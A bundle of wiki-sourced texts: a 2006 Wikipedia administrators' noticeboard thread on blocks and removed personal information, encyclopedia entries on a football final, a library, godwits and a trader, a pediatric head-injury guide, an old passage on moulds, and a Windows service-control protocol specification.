* He could of said nothing, he could have said "Don't do that again", he could of said "be more careful next time" he could of said a lot of other stuff. But he chose to insinuate that other users are idiots right during the brief period he was blocked and after. He also showed no consideration that he had done anything wrong showing he obviously will not respect WP:NPA if we let him continue. Frankly, if he wasn't so combative I would have considered a block shortening but all he has done is insist that the other party is at fault and cry wolf over and over. You know what, until another admin says otherwise, I'm leaving this conversation. This is getting nowhere. Sasquatch t|c 07:23, 10 June 2006 (UTC)
Upload error
Whenever I try to upload a file, when I scroll down to the form, the window suddenly crashes. I Love Minun (talk) 11:51, 10 June 2006 (UTC)
* What browser, what custom JavaScript, etc? robchurch | talk 03:03, 12 June 2006 (UTC)
Dusted: FYI
There was an AfD debate on Dusted a while ago. It was closed on December 03 2005 by Mysekurity, who had requested that a note be issued in the event that the page has been re-created.
The page was recreated by Tildebeeplus on May 31 2006, and the current content satisfies notability requirements.
At any rate, I am about to move the content to a separate page, as there is another noteworthy entry which has been suggested by several links. --Folajimi 13:31, 10 June 2006 (UTC)
Posting of Personal Information And Defamation
An anon user at <IP_ADDRESS> is posting my full name, place of employment, and defaming my reputation by claiming I am a member of an illegal organization. I am being retaliated against because <IP_ADDRESS> has been unsuccessful in crafting the Duke University lacrosse team scandal page to their liking. Please take action against this user.
See: 1, 2
Abe Froman 14:15, 10 June 2006 (UTC)
* I've given the anon a week's block in recognition of the nature of the personal attacks and unauthorised posting of personal information about another user, both of which are strictly forbidden on Wikipedia. -- ChrisO 14:20, 10 June 2006 (UTC)
* I've disappeared the edits.
* James F. (talk) 14:23, 10 June 2006 (UTC)
* Picking up where <IP_ADDRESS> left off, Voretus is reposting my full name and repeating <IP_ADDRESS>'s defamation on his user page. See 1. I have asked him to remove it. It remains up. I am being retaliated against by frustrated editors of the Duke University lacrosse team scandal page. Please take action against this user. Abe Froman 18:46, 10 June 2006 (UTC)
* I have removed your real name from that page (and from the history). Eugene van der Pijll 19:22, 10 June 2006 (UTC)
Requests for arbitration/DarrenRay and 2006BC
This arbitration case is closed.
The three editors named above are banned indefinitely from editing Dean McVeigh, Melbourne University student organisations, University of Melbourne Student Union, and any related article.
For the Arbitration Committee. --Tony Sidaway 14:29, 10 June 2006 (UTC)
User:Deleteme42
I have just blocked for 1 hour for WP:POINT disruption and trollish wikilawyering. Deleteme42 is dissatisfied that bad articles about notable topics often don't get deleted, and his PRODs are often removed. He created lots of substubs on German second league players in response (containing just "John Doe is a German football player"), most of which I deleted while trying to clear CAT:CSD. He was told by several editors to stop, and then answered by recreating Andreas Aepken, a bad stub with an external link. Can somebody else help me tell him that he is wasting our time by this? Kusma (討論) 20:49, 10 June 2006 (UTC)
* Kusma said on my talk page about Andreas Aepken: The article was admittedly an A7, not an A1, the notability was only asserted in the external link, not the article. You can recreate it and state the notability better using your link if you want, and the stub will not be deleted. This is what I did. And this is what he blocked me for. If this is considered an appripriate usage of administrator privileges, I do hereby request that an administrator other than Kusma deletes my account at the English Wikipedia ( with an arbitrary new username). TIA Deleteme42 22:06, 10 June 2006 (UTC)
* You're wikilawyering again, which is a pointless waste of time. What I meant was obviously "You can recreate it and state the notability better using the information provided in your link if you want, and the stub will not be deleted." Your recreated stub was the same as the one I deleted before (except for your addition of "second league"), and was deleted again by Naconkantari. Kusma (討論) 22:15, 10 June 2006 (UTC)
* AB, just try to give a bit more info, don't make infering notability through a mere external link. As much as you can beyond that, but something: i.e. was a German 2nd league soccer player ... who [something]. See a very brief article I created two days ago, for ex. El_C 05:13, 11 June 2006 (UTC)
* If you are an administrator and think that Kusmas blocking of my account was correct, please fulfill my request and delete my account. TIA Deleteme42 08:34, 11 June 2006 (UTC)
* admins can't delete accounts.Geni 08:35, 11 June 2006 (UTC)
* Thanks for this note, I missed this. I've listed my account at Changing username. Deleteme42 08:48, 11 June 2006 (UTC)
* Are you sure that is needed? It isn't as if a one hour block creates a perminat stain on your character or anything.Geni 09:45, 11 June 2006 (UTC)
* If Kusmas blocking is considered an appropriate usage of administrator privileges, I do neither want to continue to participate in this Wikipedia nor see my name in any way associated with this Wikipedia. Deleteme42 10:06, 11 June 2006 (UTC)
* I've declined the namechange for now. Please follow the name change debate on WP:CHU =Nichalp «Talk»= 13:29, 11 June 2006 (UTC)
check user needed?
check out singular they. there's a recent IP user who's got a long contrib list, looks pretty legit, but the NPOV tag feels outt place- and a relative nube (sans userpage) placed it there. my understanding is there has been a good deal of battle on this page, some civil. I'v been involved. I was considering removing it myself. maybe I still will. CrackityKzz 05:35, 11 June 2006 (UTC)
Searching for info on User:David91
Per a request on Deceased Wikipedians, I'm trying to find out if anyone knows what happened to User:David91. He stopped editing around April 12, 2006, when he was admitted to the hospital for some tests. He possibly lived in Singapore (likely in or near Ang Mo Kio, which he edited 3 times but with enough detail to suggest a strong familiarity with the place), and was probably the oldest Wikipedian at the age of 94 (based on a reference from 2003 when he said he was 91). Based on his numerous contributions in law it is possible he was a retired lawyer of some kind. He also contributed to linguistics, sociology, and science fiction articles. He was part of Wikipedia:WikiProject International law and he made nearly 5000 edits. He evidently also involved in other Internet communities during his retirement. Any information on David91 would be appreciated. Thanks,--Alabamaboy 14:28, 11 June 2006 (UTC)
Check user might also be needed if trouble.
* I put in a checkuser request but evidently David91's edits were too long ago to find a record of his IP address.--Alabamaboy 00:18, 12 June 2006 (UTC)
One's curiosity on the vital statistics of an editor with whom one was familliar is not an appropriate reason to request checkuser (IMO). And even the best of intentions should not excuse an attempt at ferreting out the real identity, location, and medical status of a user. If he wanted you to know, he would have come out and said it. And if he's dead and you just don't know, then sorry to be cold, but his nmae needs to be moved to Missing Wikipedians, and people need to move on. --Jeffrey O. Gustafson - Shazaam! - <*> 01:02, 12 June 2006 (UTC)
* The editors who knew David91 and admired his contributions to Wikipedia would no doubt disagree with you. As anyone who edits Wikipedia can verify, how we spend our time is up to us. Personally, I know of no better way to spend my time than to try and honor a Wikipedian who had an amazing impact on the legal articles here. --Alabamaboy 01:36, 12 June 2006 (UTC)
* I have no argument with what you say about checkuser. But concern over whether a member of our community has died is more than just "curiosity". It's a basic human interest that people in any community share. We do have the right to vanish, but we also have a reasonable expectation that people will care, a lot, when we die. --Allen 01:36, 12 June 2006 (UTC)
* I agree with Allen about the concern and with Jeffrey O. Gustafson that checkuser should not be used in such situations. While Wikipedia is not a social club and I'm not going to start hugging people, ASCII or otherwise, we should have a little concern for the well-being of other editors. However, no more information than was freely handed out by a user should be used to track him or her down and if a user seems to want to be left alone, they should be. Unless something occurred suddenly or they wanted to keep it private, it is likely that frequent contributors would leave a note on their user or talk page or tell someone else what is going on. Of course, they are unable to tell us of their death, except for a time frame for those with terminal illnesses. That's a limitation that I think we'll have to accept. Try posting on their talk page and sending them an email. If they have given out their phone number, address or place of work, you could try that (it would probably be best to wait a while before checking whether they are sick or dead by these methods unless there are reasons other than their absence to think so). If they cannot be found, we'll have to settle with adding them to the list of missing Wikipedians. If an editor wants to be contactable in such situations, they should put the relevant information on their user page or give it to a friend or two. I suppose contact information for those who wish to supply it could be made confidential, only available to bureaucrats and/or stewards, but that might be excessive. -- Kjkolb 02:35, 12 June 2006 (UTC)
Changed my username
I recently changed my username, but someone put sockpuppet notices on my user page, but I have a reason, he's saying im not allowed to change my username Minun Rules the world 19:52, 11 June 2006 (UTC)
* If you're willing for me to block User:Iloveminun indef, to be sure there can be no impersonation, then I will remove the sock notice. --Lord Deskana Dark Lord of the Sith 19:56, 11 June 2006 (UTC)
* It seems that you were blocked for one week today at 1827 UTC as for "Incivility towards ". You made your first edit as at 1851 UTC. This is a clear case of sock puppetry for the purpose of block evasion. I am blocking your new user indefinitely and advise you to stop trying to edit Wikipedia until your one week block expires. If you do not, the block period is very likely to be increased. --Tony Sidaway 20:01, 11 June 2006 (UTC)
Proposal for community ban on iloveminun
I've finally caught up with this case. Our lad is a serious abuser and quite unrepentant.
* Requests_for_comment/Iloveminun
I would suggest a community ban in this case. Comments? --Tony Sidaway 09:44, 12 June 2006 (UTC)
* Agree. Will ( <sup style="margin-right: -0.2em">E <sub style="margin-left: -0.2em">@ ) T 11:15, 12 June 2006 (UTC)
* Disagree. ILM has been a bit obnoxious, but has also made productive edits and could be brought around. - A Man In Bl♟ck (conspire | past ops) 11:42, 12 June 2006 (UTC)
* Agree. If you think several billion Pokemon articles are a useful part of Wikipedia, he has been reasonably constructive, but some of the other stuff is just blatant stalking, abuse and general idiocy. --ajn (talk) 11:50, 12 June 2006 (UTC)
* Okay, I'll take this to arbitration. --Tony Sidaway 12:03, 12 June 2006 (UTC)
Arbitration case application here. --Tony Sidaway 12:21, 12 June 2006 (UTC)
User:BillyBong
this user is User:Hogeye and is banned and evading. he recently edited Template:Anarchism sidebar with an open proxy. the slash thing proves it. someone look into this. thanks.
Talk:Infantilism
Briefly: Users are brawling over revealing personal information both on and off-wiki. I'm not really available in the near future, so anyone wants to help out that would be grand. - brenneman color="000000" title="Admin actions">{L} 03:23, 12 June 2006 (UTC)
* I'll protect the page and drop both users a note. El_C 07:57, 12 June 2006 (UTC)
Monica de Bruyn
Can anyone close the deletion process at Articles for deletion/Monica de Bruyn (2), before the trolling starts getting out of hand again? There is a complete consensus in favour deleting. gidonb 13:59, 12 June 2006 (UTC)
* Done. --Lord Deskana Dark Lord of the Sith 14:02, 12 June 2006 (UTC)
* Thanks a lot! Please consider deleting the last trolling comment because of civility issues. I am going to let is stay now, since the process is closed. gidonb 14:42, 12 June 2006 (UTC)
* And like magic, it's gonnerfied. Happy to help. --Lord Deskana Dark Lord of the Sith 14:48, 12 June 2006 (UTC)
* Great, pleasure to do business with you! ;-) Thanks again, gidonb 15:22, 12 June 2006 (UTC)
Haditha incident again...
User:ILike2BeAnonymous has been POV-pushing like mad on this article, removing any dissenting opinion, revert warring, and continuing to name the article Haditha massacre in violation of WP:NPOV, consensus reached on Talk, and ruling of an administrator. — Aiden 14:11, 12 June 2006 (UTC)
* Please do not bring content disputes onto this page, this is not the place for them; please follow the dispute resolution process. Whatever this "ruling of administrator" you speak of is, be assured that it is meaningless, because admins have no special editorial control.-SB | T 17:08, 12 June 2006 (UTC)
Continuing personal attacks and legal threats from User:<IP_ADDRESS>
I am posting this on behalf of Tearlach who brought it to the attention of WP:PAIN. The user User:<IP_ADDRESS> was making personal attacks and legal threats to other users. I warned the user about them and the situation seemed resolved. However, Tearlach has brought it to my attention that the user has continued making personal attacks and legal threats. The following diffs show this:, ,. Paul Cyr 17:33, 12 June 2006 (UTC)
* I just blocked the user.--Alabamaboy 17:37, 12 June 2006 (UTC)
* I've shortened it to a month (it's an IP, only open proxies should be indef blocked- see WP:BP). We can always extend the block if the user returns on that IP. Petros471 17:41, 12 June 2006 (UTC)
Ukiyotile
an article on the topic of ukiyotile by User talk:plutovman was deleted. Could someone restore it to my edit area so I can create a more encyclopedic document? plutovman 21:57, 12 June 2006 (UTC)
* See WP:DRVU. --Lord Deskana Dark Lord of the Sith 22:00, 12 June 2006 (UTC)
* There are only six Google hits for this neologism. Please see WP:SNOW, it's unlikely that an article about this term will stand. User:Zoe|(talk) 22:01, 12 June 2006 (UTC)
* I agree. That article seems to confirm there's not enough information for an article encyclopedia article / that that is totally non-notable. --Lord Deskana Dark Lord of the Sith 22:02, 12 June 2006 (UTC)
* I didn't see the article, but are we sure it's a non-notable neologism? It was speedied for the wrong reason (nonsense, which it wasn't), so you'll pardon if I don't accept it on faith that it was a neologism. Powers 22:56, 12 June 2006 (UTC)
* The entire content was Ukiyotile is a word coined by contemporary artist Vladimir Sierra to define a type of mosaic which, like pointilism, is characterized by non-overlapping brushstrokes of organically varying size that come together to form a larger image.. User:Zoe|(talk) 23:54, 12 June 2006 (UTC)
I understand that currently there aren't many google hits on this term. However, I'm giving a talk on the subject at SIGGRAPH later this month, and will have a paper published on the 2006 SIGGRAPH proceedings. Is there a more appropriate area within wikipedia to post articles on new methods in computer graphics? Thanks plutovman 23:36, 12 June 2006 (UTC)
* A paper published at SIGGRAPH should have peer-reviewed references which are reliable sources. I would suggest adding (some of) those sources to the article to show this is more just a neologism and has gained a level of acceptability in the scientific community. It might still fail to meet the required standards but it should have a better chance. Good luck, Gwernol 23:47, 12 June 2006 (UTC)
* Interestingly enough, the SIGGRAPH page pointed to has the exact same content -- Mosaics and Ukiyotiles
* An ukiyotile is a type of mosaic that, like pointillism, is characterized by non-overlapping brushstrokes of organically varying size that come together to form a larger image.
* Vladimir Sierra
* thinkforward.org
* Vladimir (at) thinkforward.org
* -- User:Zoe|(talk) 23:56, 12 June 2006 (UTC)
* When the full paper gets published along with references and so on, I will try posting again to wikipedia. I guess I just wanted to get an prematurely early jump start. Thanks for your help and suggestions
* User:plutovman
Block an IP because it refuses to use Talk pages?
Hi. I'd like to survey opinion on the idea of blocking. The IP is being used to make a lot of formatting changes to music-related articles. This has been a source of some frustration for other editors, because the formatting changes are often idiosyncratic, contra-guidelines, or make the article more difficult to edit afterwords. I wouldn't normally regard this as a reason to block, but the IP's user absolutely refuses to respond to their Talk page, or discuss changes to articles on article Talk pages. I am considering blocking with a message that indicates that they need to start doing so, and that I will unblock when I get a commitment that they will enter into discussion going forward. Thoughts? Advice from similar situations? Jkelly 23:54, 12 June 2006 (UTC)
* The same sort of behavior gets User:MascotGuy blocked frequently. User:Zoe|(talk) 23:58, 12 June 2006 (UTC)
* If their editorial behaviour is making it hard for people to continue normal editing of the article, then a proportionate block seems reasonable. Something that will expire within their interest-frame but enough for them to get the message that they can't carry on like that. All this as long as you're not materially engaged in a dispute with them, of course, but needing them to communicate isn't a dispute: you just happen to be the admin on the scene. -Splash - tk 00:40, 13 June 2006 (UTC)
* Thanks for the feedback. I blocked, and left a message at User talk:<IP_ADDRESS> that the IP should be unblocked when we get a commitment that it will engage in some kind of discussion about their editing. Jkelly 00:52, 13 June 2006 (UTC) | WIKI |
1985 Football League Cup final
The 1985 Football League Cup Final was won by Norwich City. The Canaries defeated Sunderland 1–0 at Wembley Stadium on 24 March 1985 with an own goal scored by Gordon Chisholm, who deflected Asa Hartford's shot past goalkeeper Chris Turner. Later in the second half, Clive Walker missed a penalty awarded for a handball by Norwich defender Dennis van Wijk.
Looking back on the final, Norwich striker Mick Channon described the final as a "lovely day", and praised his teammates' skill, saying, "we had some tremendous players like Steve Bruce and Dave Watson in the middle of the defence, Asa Hartford in midfield and John Deehan up front with me." In the lead-up to Norwich's goal Sunderland defender David Corner was attempting to usher the ball out of play for a Sunderland goal kick. However, Norwich kept the ball in play and promptly scored. In November 2011 Corner looked back on the incident stating "I should have kicked the ball out" and that he doesn't "think there's a day goes by where that game isn't mentioned". He then went on to say "It was a great honour for me to be playing for my hometown club in a national final, but I have to hold my hands up and say the goal was my fault." Norwich's victory was celebrated with an open-top bus parade.
Despite Norwich and Sunderland appearing in the final, they were both relegated to the Second Division at the end of the 1984–85 season.
As a result of the good faith shared between Norwich and Sunderland supporters during the final, the Friendship Trophy is contested every time the two clubs meet.
Route to the final
Norwich and Sunderland were both playing in the First Division and both entered the competition at the second round stage, under the tournament format in place at the time which saw First Division teams enter in this round. Norwich had reached the Football League Cup final on three occasions, winning one of them. Sunderland had never reached a final – the closest they came was the 1962–63 edition where they were semi-finalists. Norwich faced Preston North End in their second round tie, and played out a 3–3 stalemate in the first leg. In the second leg they defeated Preston 6–1, a 9–4 victory on aggregate. Having drawn the third-round game against Aldershot 0–0, Norwich beat Aldershot in the replay 4–0 to progress to the next round. A tie against Second Division side Notts County awaited Norwich in the fourth round, which they won 3–0. They dispatched Grimsby Town 1–0 in the fifth round to set up an all East Anglian semi-final with Ipswich Town. Ipswich had beaten Norwich 1–0 in the first leg, but Norwich prevailed by winning 2–0 in the second leg, and 2–1 on aggregate.
North East Sunderland began the tournament against Crystal Palace, winning it 2–1 on aggregate, which was the same score as the first leg. Next Sunderland beat Nottingham Forest 1–0 in the third round replay, having drawn 1–1 in the original match. The fourth round went similarly the third, Sunderland played out a 0–0 draw at Roker Park forcing the game into a replay. Goals from Gordon Chisholm and Clive Walker in the replay ensured that Sunderland would progress in the fifth round. Sunderland beat Watford in the fifth round to seal a tie against Chelsea in the semi-finals. Sunderland beat Chelsea 5–2 on aggregate and secured their first ever League Cup final spot. | WIKI |
Clines
Clines is a surname. Notable people with the surname include:
* Gene Clines (1946–2022), American baseball player and coach
* Hoyt Franklin Clines (1956–1994), American murderer
* Mike Clines (fl 2022), American politician
* Peter Clines (born 1969), American author and novelist
* Thomas G. Clines (1928–2013), American spy | WIKI |
Mannheim University Library
The Mannheim University Library (German: Universitätsbibliothek Mannheim) is the library of the University of Mannheim.
The library provides books and information resources for researchers, instructors, students and further education at university. It is also open to residents, agencies and businesses in the Mannheim area.
History
Mannheim's library system's origins date back to the early 20th century when Mannheim's City College of Trade (Städtische Handelshochschule) was founded in 1907, it maintained a large central library which was supplemented by various departmental libraries. In 1932 these libraries were merged with the Municipal Palace Library (Städtische Schlossbücherei), which later became the Municipal Science Library Mannheim (Wissenschaftliche Stadtbibliothek Mannheim).
When the National Socialists came to power in 1933, the College of Trade was dissolved and the books in its library were donated to the University of Heidelberg. In 1946 the bulk of the collection was returned when the "Staatliche Wirtschaftshochschule Mannheim" (State College of Business Mannheim) was founded. When the business college became a university in 1967, the library acquired new and much expanded collections in all the subjects taught at the university. It also inherited around 240,000 volumes of older books from the "Wissenschaftliche Stadtbibliothek Mannheim" (Scientific Municipal Library Mannheim), which was dissolved in 1970. Today, the University Library of Mannheim maintains four libraries with more than 2.2 million volumes. The conventional book supply is complemented by numerous electronic services, such as 30,000 scientific journals, 600 scientific databases and more than 47,000 e-books that can be accessed via e-journal. It is one of Germany's most frequently used library systems and in the German library rankings of 2012, it was placed among the 5 best libraries in Germany.
Library Sections
The library is organized centrally without any decentralized libraries, but there are different library sections, which are located at the Mannheim Palace and the city squares A3, A5:
* Schloss Schneckenhof Library: special reading area, InfoCenter, Learning Center (group work rooms and quiet reading room), business studies
* Schloss Ehrenhof (Hasso-Plattner) Library: law, economics, history and economic geography. The library was built in 2006 The library's construction was primarily funded by a donation of Euro 10 million by the SAP co-founder Hasso Plattner in 2005.
* A3 Library: English, German, Romance and Slavic languages and literatures, classical philology, media and communication studies, psychology, education sciences and theology
* A5 Library: mathematics, information technology and the social sciences, European Documentation Center
* Schloss Westflügel Library: Central lending library and textbook collection | WIKI |
Godwit
The godwits are a group of four large, long-billed, long-legged and strongly migratory waders of the bird genus Limosa. Their long bills allow them to probe deeply in the sand for aquatic worms and molluscs. In their winter range, they flock together where food is plentiful. They frequent tidal shorelines, breeding in northern climates in summer and migrating south in winter. A female bar-tailed godwit made a flight of 29,000 km (18,000 mi), flying 11680 km of it without stopping. In 2020 a male bar-tailed godwit flew about 12,200 km non-stop in its migration from Alaska to New Zealand, previously a record for avian non-stop flight. In October 2022, a 5 month old, male bar-tailed godwit was tracked from Alaska to Tasmania, a trip that took 11 days, and recorded a non-stop flight of 8400 mi.
The godwits can be distinguished from the curlews by their straight or slightly upturned bills, and from the dowitchers by their longer legs. The winter plumages are fairly drab, but three species have reddish underparts when breeding. The females are appreciably larger than the males.
Godwits were once a popular British dish. Sir Thomas Browne writing in about 1682 noted that godwits "were accounted the daintiest dish in England".
Taxonomy
The genus Limosa was introduced by the French zoologist Mathurin Jacques Brisson in 1760 with the black-tailed godwit (Limosa limosa) as the type species. The genus name Limosa is from Latin and means "muddy", from limus, "mud". The English name "godwit" was first recorded in about 1416–17 and is believed to imitate the bird's call.
The genus contains four living species:
* Bar-tailed godwit, Limosa lapponica
* Black-tailed godwit, Limosa limosa
* Hudsonian godwit, Limosa haemastica
* Marbled godwit, Limosa fedoa
Fossil species
In addition, there are two or three species of fossil prehistoric godwits. Limosa vanrossemi is known from the Monterey Formation (Late Miocene, approx. 6 mya) of Lompoc, United States. Limosa lacrimosa is known from the Early Pliocene of Western Mongolia (Kurochkin, 1985). Limosa gypsorum of the Late Eocene (Montmartre Formation, some 35 mya) of France may have actually been a curlew or some bird ancestral to both curlews and godwits (and possibly other Scolopacidae), or even a rail, being placed in the monotypic genus Montirallus by some (Olson, 1985). Certainly, curlews and godwits are rather ancient and in some respects primitive lineages of scolopacids, further complicating the assignment of such possibly basal forms.
In a 2001 study comparing the ratios cerebrum to brain volumes in various dinosaur species, Hans C. E. Larsson found that more derived dinosaurs generally had proportionally more voluminous cerebrum. Limosa gypsorum, then regarded as a Numenius species, was a discrepancy in this general trend. L. gypsorum was only 63% of the way between a typical reptilian ratio and that of modern birds. However, this may be explainable if the endocast was distorted, as it had been previously depicted in the past by Deschaseaux, who is described by Larsson as calling the endocast "slightly anteroposteriorly sheared and laterally compressed."
General sources
* Larsson, H. C. E. 2001. Endocranial anatomy of Carcharodontosaurus saharicus (Theropoda: Allosauroidea) and its implications for theropod brain evolution. pp. 19–33. In: Mesozoic Vertebrate Life. Tanke, D. H., Carpenter, K., Skrepnick, M. W. (eds.). Indiana University Press.
* Olson, Storrs L. (1985): Section X.D.2.b. "Scolopacidae". In: Farner, D.S.; King, J.R. & Parkes, Kenneth C. (eds.): Avian Biology 8: 174–175. Academic Press, New York.
* Olson, Storrs L. (1985): Section X.D.2.b. "Scolopacidae". In: Farner, D.S.; King, J.R. & Parkes, Kenneth C. (eds.): Avian Biology 8: 174–175. Academic Press, New York. | WIKI |
Guy Adami
Guy Adami is an American trader, television personality, and professional investor. He is one of the original “Fast Money Five” on CNBC's Fast Money.
Early life and education
Guy Adami was born in North Tarrytown, New York (now known as Sleepy Hollow). He is the son of Nancy C. and the deceased Guy M. Adami.
His parents met and were married during their time at Fordham Law School. His father was a member of the law review and both were graduates of the class of 1963. Adami's father was Village Justice in Croton-On-Hudson, NY, for more than two decades.
Adami is the eldest of five children, and is a 1982 graduate of Croton-Harmon High School, where he captained both the varsity football and basketball teams. He was named All-League in both sports. His 104-yard interception return against Hastings High School is still one of the longest recorded in high school football. In November 2010, Adami was inducted into the Croton Harmon High School Hall of Distinguished Graduates. Adami is a 1986 graduate of Georgetown University. On April 16, 2009 he was interviewed as part of the University's Witness to History.
Career
In June 1986, Adami began his career at Drexel Burnham Lambert where he worked on the floor of the New York Mercantile Exchange. In 1996, he joined Goldman Sachs' commodity group, J. Aron as a vice president. In 2003, he left Goldman Sachs to become an executive director at CIBC World Markets.
Adami frequently speaks at colleges and universities, including Quinnipiac University, Adelphi University, University of Richmond, Fordham University, and Georgetown University. Adami has also given talks at his son's high school, Delbarton School, in Morristown, New Jersey. In 2012, Adami joined the ranks of Keppler Speakers.
Athletics
On August 11, 2012, Adami became an Ironman after completing the NYC event in 16:19:52. He finished the 2.4 mile Hudson River swim in 1:09:03, the 112 mile bike on The Palisades Parkway in 8:15:05, and the 26.2 mile run in 6:27:12. His journey to become an Ironman was chronicled in a June 24, 2012 New York Times article titled “The Road to the Ironman”. The Times ran a follow-up piece on August 17. Adami entered the Ironman as part of a fundraising effort for the New Jersey Chapter of The Leukemia & Lymphoma Society of which he is a member of the Board of Trustees. At a December 11, 2012 Board Meeting, it was announced that the “Ironteam” raised $681,730 which surpassed their original goal of $500,000. | WIKI |
Head Injuries
Safety • Jan 26, 2021
Head Injuries: When to Seek Medical Care for Your Child
Pediatric Falls and Minor Head Injuries
Anyone else’s toddler turn their living room into a parkour course recently? The “crash-bangs“ that follow my toddler’s less-than-graceful tumbles are thankfully usually followed by a chipper, “I OK!”. But like many parents, I fear the “crash-bang-BOOM” that often precedes a bad fall resulting in injury. Falls resulting in minor head injuries or trauma are very common in the pediatric population. These falls result in over 600,000 emergency room visits a year. When your little (or big!) one takes a tumble, it’s hard not to worry about things like concussions, skull fractures, and even bleeding in the brain. How bad is bad, and when should you seek medical care?
Signs of a Bad Fall
How far/hard your child fell and how your child has been acting since the fall influence the likelihood of a significant head injury, such as brain bleeding or skull fracture. After a fall, it is important to note if they cried immediately or lost consciousness and had to be aroused. Do they have a large “goose egg” or hematoma, especially on the sides or the back of their head? Did they calm down as they usually do after a minor injury? Once calm, are they acting like their normal selves? Are they vomiting? Do you see any other apparent injuries like cuts or possibly broken bones? These are all important signs and symptoms that may point to a significant injury.
When to Seek Care
A medical professional should evaluate falls from a height greater than 3 feet, or that resulted in a loss of consciousness for more than five seconds. Symptoms such as persistent vomiting, a child not acting right or acting more tired than is appropriate for the time of day, confusion, worsening headache, or swelling over the sides or back of the head may indicate a more significant injury that also warrants medical evaluation. If the fall resulted in any deep or gaping wounds, these might need stitches. If you are unsure what to do, call your pediatrician. They can help you decide the best place to evaluate your child.
What to Expect at the Emergency Department
In the emergency room, a provider will gather information about how your child fell and how they acted immediately afterward and since the time of the fall. Your child will have a full physical exam looking for injuries that may need an X-ray or treatment like broken bones or large cuts. The provider will perform a detailed neurologic exam. This helps determine if there is a problem with your child’s brain or nerves. Because children do fall so often, researchers have gathered a lot of data to assess risk factors for significant head injuries such as brain bleeding or skull fractures. Based on these criteria, most children can be safely monitored in the emergency room for any changes and can be discharged in a few hours.
Sometimes, children will need a CT scan to look for injuries. CT scans are excellent at diagnosing bleeding in the brain and skull fractures. CT scans, however, cannot diagnose other things, like concussions. Doctors diagnose concussions based on the mechanism of your child’s fall, symptoms immediately after the fall, how they are acting at the time of evaluation, and a physical exam. Regardless of the evaluation in the emergency room, you should follow up with your child’s pediatrician within a week of their head injury to check in on any persistent symptoms.
Despite our best efforts as parents, falls and accidents do happen. Knowing what to look for when your child falls, what to call the pediatrician for, and when to go to the emergency room can provide you more confidence as a parent that you aren’t going to miss a life-threatening injury.
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Zograf
Etymology
Historical, and personal appellation, later used as pen name, which comes from the tradition of iconography in Eastern Orthodoxy. It comes from the occupation of iconograph or painter:, from.
Proper noun
* 1) . Famously born by a saint (George the Zograf, an icon in ) and used as the pen name of a number of Bulgarian iconographs and painters. | WIKI |
Talk:Margaritaville at Sea Islander
Deck names
I have taken the liberty of adding a list/table of the deck names and what is found on each that is not one full of passenger cabins. I was recently on this very boat on a cruise through the Mediterranean. If a list of the deck names is not allowed, you have my permission to delete it. Just let me know beforehand.--Imnotyouok (talk) 04:49, 28 December 2008 (UTC)
* Thanks for going to that trouble. Of course, we don't need your permission to delete it, though. Remember to be bold. Llamabr (talk) 17:27, 5 December 2010 (UTC)
Laid up in Cyrus
Atlantica and Mediterranea are laid up in Cyprus now instead of Dubai. Imperial27 (talk) 19:38, 26 September 2022 (UTC) | WIKI |
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404 growing on various substances, which have the general structure of Fig. 6.
We now come to the most common of all the members of the group of moulds: the blue mould of cheese, bread, and almost every article of food. In its diet, it does not confine itself to those things found in a well-stocked pantry, but will flourish on old boots and other articles of clothing when they are left for a few days in a warm, damp place. No culture was made without its making its appearance, and often to the exclusion of all other forms. It is quite small, never reaching but a very short distance from the substance on which it grows, and under favorable circumstances forms an even blue crust over the surface of the nourishing material whether boots or bread. The structure of this frequent and often unexpected and unwelcome visitor is given in Fig. 7. Two fully-developed fruit-stalks are seen at a and b, branching
irregularly at the top, and bearing the naked spores in chains at the ends of the filaments. At c is a young stalk before the spores have formed from the threads, which is done by a constriction, a familiar but perhaps rude illustration of which is seen in the making of the links of sausage. As the spores fall away, new ones are formed below, and so the process of producing these simplest of reproductive bodies is indefinitely continued. At the base d are the threads which penetrate the nourishing substance, on some of which are formed, as the result of sexual action, spherical bodies which inclose the more enduring sexual spores. From this method of forming subterranean fruit this little mould is a close relative to the truffle so highly prized for food. | WIKI |
3.1.4.43 RNotifyServiceStatusChange (Opnum 47)
The RNotifyServiceStatusChange method<74> allows the client to register for notifications and check, via RGetNotifyResults (section 3.1.4.44), when the specified service of type SERVICE_WIN32_OWN_PROCESS or SERVICE_WIN32_SHARE_PROCESS is created or deleted or when its status changes.
DWORD RNotifyServiceStatusChange(
[in] SC_RPC_HANDLE hService,
[in] SC_RPC_NOTIFY_PARAMS NotifyParams,
[in] GUID* pClientProcessGuid,
[out] GUID* pSCMProcessGuid,
[out] PBOOL pfCreateRemoteQueue,
[out] LPSC_NOTIFY_RPC_HANDLE phNotify
);
hService: An SC_RPC_HANDLE data type that defines the handle to the SCM for SERVICE_NOTIFY_CREATED and SERVICE_NOTIFY_DELETED notifications or to the service record for all other notification types that MUST have been created previously, using one of the open methods specified in section 3.1.4. The SC_MANAGER_ENUMERATE_SERVICE access right MUST have been granted to the caller when the RPC context handle to the SCM was created, or the SERVICE_QUERY_STATUS access right MUST have been granted to the caller when the RPC context handle to the service record was created.
NotifyParams: An SC_RPC_NOTIFY_PARAMS (section 2.2.23) data type that defines the service status notification information.
pClientProcessGuid: Not used. This MUST be ignored.
pSCMProcessGuid: Not used. This MUST be ignored.
pfCreateRemoteQueue: Not used. This MUST be ignored.
phNotify: An LPSC_NOTIFY_RPC_HANDLE (section 2.2.6) data type that defines a handle to the notification status associated with the client for the specified service.
Return Values: The method returns 0x00000000 (ERROR_SUCCESS) on success; otherwise, it returns one of the following error codes.
Return value/code
Description
5
ERROR_ACCESS_DENIED
The SC_MANAGER_ENUMERATE_SERVICE access right had not been granted to the caller when the RPC context handle to the SCM was created, or the SERVICE_QUERY_STATUS access right had not been granted to the caller when the RPC context handle to the service record was created.
6
ERROR_INVALID_HANDLE
The handle is no longer valid or is not supported for the specified notification.
50
ERROR_NOT_SUPPORTED
The request is not supported.
87
ERROR_INVALID_PARAMETER
A parameter that was specified is invalid.
124
ERROR_INVALID_LEVEL
The system call level is not correct.
1072
ERROR_SERVICE_MARKED_FOR_DELETE
The RDeleteService has been called for the service record identified by the hService parameter.
1115
ERROR_SHUTDOWN_IN_PROGRESS
The system is shutting down.
1242
ERROR_ALREADY_REGISTERED
A notification status handle has already been created for the service handle passed in the hService parameter.
1294
ERROR_SERVICE_NOTIFY_CLIENT_LAGGING
The service notification client is lagging too far behind the current state of services in the machine.
In response to this request from the client, for a successful operation, the server MUST associate NOTIFY_RPC_HANDLE for the caller to check for status changes using RGetNotifyResults for the service record identified by the hService parameter.
